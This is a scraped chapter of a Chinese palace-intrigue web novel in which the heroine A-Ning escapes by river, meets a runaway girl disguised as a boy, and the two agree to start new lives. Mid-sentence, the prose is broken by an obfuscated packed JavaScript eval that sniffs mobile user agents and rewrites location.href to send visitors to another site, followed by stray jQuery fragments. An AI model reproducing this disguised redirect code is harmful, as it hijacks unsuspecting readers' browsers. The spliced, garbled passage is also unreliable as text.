默认冷灰
24号文字
方正启体

59. 重来

作者:九离灯本书字数:K更新时间:
    先一步逃回的十九,说出了足以令一切颠覆的话。


    她说,阿宁爱上了裴宴,竟因此背叛暗门,如今更是要随裴宴一起逃往江州。


    裴镜自然是不会那般轻易相信的。


    可脑中还是不自觉就浮现出了那次宫宴,阿宁满眼柔情地看向裴宴,而裴宴也总是温柔地注视她,甚至还牵着她的手,将她带来一一见他们这群儿时旧友。


    十九语气激昂说得有理有据,还拿出二人的姐妹情谊掺杂其中。


    “我是她的妹妹,怎会无缘无故地冤枉她?泼她脏水?殿下向来待我好,我只是不想让殿下蒙在鼓里!一片赤诚之心受人蒙骗!”


    “可她毕竟是我的姐姐,若是擒回,还恳请少主留她一命!”


    留她一命?这件事尚且不论真假,倘若被镇北王知晓,谁的命也保不住!


    裴镜目光森然地看向十九,从前因着阿宁,他总将自己放在姐夫的位置上,对十九照顾有加,待她如待阿宁,在她面前从未有过主子和奴的界限。


    可如今她说出了这等话,揭露了这种事,必定不会再叫她活着回去!


    天色渐明,裴镜心绪杂乱整整一夜。


    不管十九所言是真是假,他都要先看清真相。


    直到追到元沧河岸,他亲眼见证了阿宁的背叛背弃,看他的眼神变了,连对他的称呼也变了,她为一个小宫女求情,第一次在他面前落了泪,还不惜空手拦了刀。


    就那一瞬,他的心好似被掏空了。


    二人相伴两年,裴镜从不确定阿宁的心中是否有他,也从未提及此。


    好似两人都心照不宣地对此事沉默,如今想来,大概是因着身份的悬殊,不过是他要什么,她就给什么。


    而今多件事赤裸裸地摆在眼前,十九没有说谎,阿宁的确背叛了暗门,要随裴宴逃去江州,可向来温顺的她又会因何敢于打破一切,不惜背叛暗门?


    答案显而易见。


    少时的裴镜太过混账,又与裴宴年岁相仿,总会被长辈们拿来比较,尤其是七岁那年在宫中小住,一群世家子弟同在一处练功读书,众位老师对裴宴皆是赞赏,可说起裴镜却都摇头晃脑,说是狗都嫌!


    一个是天之骄子,一个是混世魔王。


    那时的裴镜表面上虽装作洒然,可却悄然在心底埋下了一颗种子。


    彼时种子悄无声息地发了芽,瞬间长成名为忮忌的参天大树。


    即便如此,他还是强压下所有怒意重新谋划,可还是在一次次关于她的荒唐事中心痛欲裂,勃然大怒。


    不管他如何挣扎,局面已经无法扭转。


    阿宁不信他,竟然选择去信镇北王,好不容易等到她任务归来,又突然要与周凛成婚,最令他难以接受的是,她竟然有了裴宴的孩子,不惜被利用也有拼尽全力去保护那个孽种!


    所有的温和、理智一次又一次崩塌,在心底翻江倒海。


    失控、疯子,是他平静下来时对自己无奈的论定。


    裴镜也曾强逼过自己去遗忘去放下,可还是不受控制地想她念她在意她,一想到那个人后背的旧伤便如烈火灼身。


    一个向来桀骜不驯的人,是不会向人乞求只为一点点怜爱的!


    他所有的爱意和为此付出的所有代价,原来只是他的一厢情愿,在日复一日的长久等待下最终成了空,最后在不甘和忮忌中扭曲。


    那便,留住人。不管用尽何种手段。


    只是这场由爱生恨、由忌生疯的闹剧以这样的方式落幕了,她和裴宴一起,合起伙来将他给耍了,徒留他一人。


    裴镜盯着帐顶许久,突然发笑,这笑声透着几分惊悚,渐渐张狂,穿破浓夜。


    门槛上,双手撑着脑袋,正在小憩的守夜侍从被陡然惊醒,五官即刻垮下来,心中哀嚎:天爷呀,又来了又来了!谁来救我于水火啊!


    ————


    凫水这种能耐,早在阿宁九岁那年,便在巨峰山的寒潭暗流中练得炉火纯青,即便十几道身影接连扑到水下寻她,却仍旧没找到她的半点影子。


    为了不被发现,阿宁在河道里潜行,时不时仰头悄悄冒出脸来换气,待游出相当远的一段距离,她才整个冒出头来,贴着崖壁借力,往船只相反的方向游去。


    此处地段两岸都是较为垂直的峭壁,除非她能飞,否则是上不了岸的。


    船上的人也这般想,见她在此处跳了水,纷纷猜想她定是活不了了,只是这跳河的举动来得蹊跷,到底是为何宁愿舍了命?


    众人不约而同望向角落里的人,扶鸢慌忙摆手,“这可不赖我,我可什么都没做!”


    下水的人接连上船,裴宴眼见众人无功而返,整个人不受控制地后退,最终跌坐在甲板上神情恍惚,头一回在如此多的人面前失了仪态。


    “公子?您没事儿吧?”罗灵姿快步上前,蹲下身去扶他。


    听着这道声音,裴宴僵硬转头,冷然看向她。


    游了许久一段路,阿宁总算瞧见了较为平坦的浅滩,深吸一口气扎入水里,朝着那处方向蓄力游去。


    一道朦胧的惊呼冷不防地传来水下,随后,前方便出现了一长条干枯的树枝。


    “快抓住,我拉你上来。”


    阿宁见有生人立即掉头,方才游了两下,便听到身后一道扑通入水的声音。那人竟跳下来救她了。


    阿宁冒出水面,借着月光,瞧见一道人影在浅滩附近扑腾着,显然是不会水,她发出一声无奈的叹息,又回头朝那人游去。


    一番扑腾后,两人上了岸,岸上架着一小蓬树枝,旁边的石块上放着一个包袱。


    那人一屁股坐在矮草上,使劲拍了拍胸口,大口喘气,“原来你会水,这大半夜的,怎的在水里?”


    那人个头不高,生得稚嫩,约莫十三四岁的模样,分明一副小郎君打扮,声音却有几分清甜。


    “不小心从船上掉下来了,倒是你,一个小姑娘,怎么在这荒郊野岭?”阿宁巧妙地将话引到了对方身上。


    不出所料,那人听到这话当即变了脸色,“你怎知我是……我,好吧,当真这般明显吗?”


    见阿宁点头,那人在身后薅了一把干草,掏出包袱中的火折子,“也是没办法的事,这世道对女子太不公平了!我一个人在外,如此打扮才能免生事端。”


    说罢点了干草引火,放入早已架好的树枝中,火光很快点亮四周,那人这才瞧见了阿宁的一身装束,双眸倏地一亮。


    “哎呀,你身上这衣料子是什么做的?光泽流转,暗纹精美!我,我能否摸一下?”


    她身上这衣料名为缭绫,绫中之最,这么一间精细的成衣,可谓是价值不菲。


    阿宁没有拒绝,主动伸手凑上前去。


    那人搓了搓手方才上手,刚一摸到衣料,便发出声声惊叹,又瞧着阿宁那画中仙娥似的容貌,不禁对她的来历产生了好奇。


    “你……你不会是富贵人家的妾室吧?被迫害了才跳船的?”


    “为何你会这般想?”阿宁反问道。


    “没没没!我不是瞧不起你!”小姑娘慌忙摆手,“因为,我也是……”


    那小姑娘见阿宁捞了她出水,不似个坏心眼的人,又觉得二人经历相似,一下便打开了话匣,将自己的姓名来历全数吐露了出来。


    小姑娘名为薛兰,年


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351696|197211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    十四,浦县灵河村人士,家中唯余母亲和大哥,薛兰从小聪慧过人,比她那草包似的大哥不知伶俐多少,可惜因着是个女儿身,无法入学念书。


    父亲死后家中日渐拮据,守着半亩薄田度日,可惜流年不利,又生战乱,就快要揭不开锅,她大哥二十好几不愿抗起家中重担,仍要念书。


    无奈之下,母亲要将薛兰嫁入镇里的富户做妾,想要换一笔不菲的聘礼。


    薛兰不甘命运如此,趁乱逃了,还顺走了大半的聘礼,只是一个女子想要在这世道想立足何其艰难。


    故而抹黑了脸,换了身男子装束,是为了找到落脚点后能够立户。


    只因不管是前朝大靖或是如今的大宣,律法皆有规定,女子不得独立成户,须依附于夫家或父家方能获得户籍,否则便如水中浮萍,在这浑浊的世间寸步难行。


    薛兰说罢,眼中闪过一丝倔强,“我偏不信命!我偏要像男子一样读书、立业!”


    听到薛兰的这番话,阿宁眼中闪过一丝赞赏,可还是一针见血地指出疑点:“光是扮做男子,就能落户?”


    “我已经打听好了,陵县你听说过没?那处在江州和大宣交界夹缝,又天高皇帝远,至今还有些乱!”


    她黑葡萄似的眼珠子滴溜溜地一转,“我顺来的聘礼除了一路上拿钱买路引,换行头吃喝拉撒,如今还剩……嗯,十两银!到时候试试能不能去买个户籍!”


    十两银买户籍?岂不是痴人说梦!


    阿宁瞧出她的企图,垂眸笑道:“所以你告知我这些,是想让我入伙,同你一起?”


    薛兰不好意思地挠了挠头,“没想到,我今儿个遇上对手了,姐姐比我还聪明。你这身儿衣服挺值钱的,若是卖了定能再添一份希望!”


    “不过姐姐也别介意我耍小心思了,我不会白拿你的好处,我今生就扮做男子不嫁人了,一直护姐姐周全!”


    “不管来时路如何,咱们往后以姐弟相称,相互扶持!重来一遍!”


    见阿宁迟迟未表态,薛兰放缓了声音,小声问道:“可好?”


    河面有风呼呼而来,面前的火堆轻微摇晃,发出噼里啪啦的炸响,风过之后,火光愈加明亮。


    “你路引上的名字,还叫薛兰吗?”


    薛兰闻言,慌忙拉过包袱摸索,掏出路引后双手递过去,还没等阿宁细看,薛兰便不好意思地红了脸颊。


    “姐姐可别笑话我,我很早就想取这个名字了,不像薛兰,兰,我娘去了趟后山就随意取了。”


    “江……书砚。”阿宁借着火光念了出来,“是个不错的名字,那往后,岂不是我也得姓江了?”


    薛兰双眸一亮,发出短促的一声惊呼:“啊!这么说,姐姐是愿意了?”


    阿宁点头,“是,我也很想抛弃过往,重来一回。”


    薛兰又絮絮叨叨说了许多路上的见闻,从她如何顺走的聘礼换了这身行头和盘缠,如何躲避危险,言语间带着少女的天真,又透着一股与年龄相悖的坚韧。


    火光跳跃,映在她稚嫩的脸上,忽明忽暗。


    “不知卖了衣服够不够?”


    “不怕,管够!”阿宁先后撩起一截儿衣袖和裙摆。


    好家伙!金灿灿一片,使得薛兰两眼放光,惊呼不断,“真是天定的缘分!姐姐顺走的聘礼够咱啥也不干白活十几年了!”


    阿宁忍不住笑出了声儿,这些金镯子是她掰了铃铛剩的一部分,一直戴在身上,连那些婢女给她换衣沐浴也没有摘下来,想的便是有朝一日逃脱后能不被饿死。


    “对了!先想好,姐姐想取一个什么名儿呢?”


    “遥,逍遥的遥。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)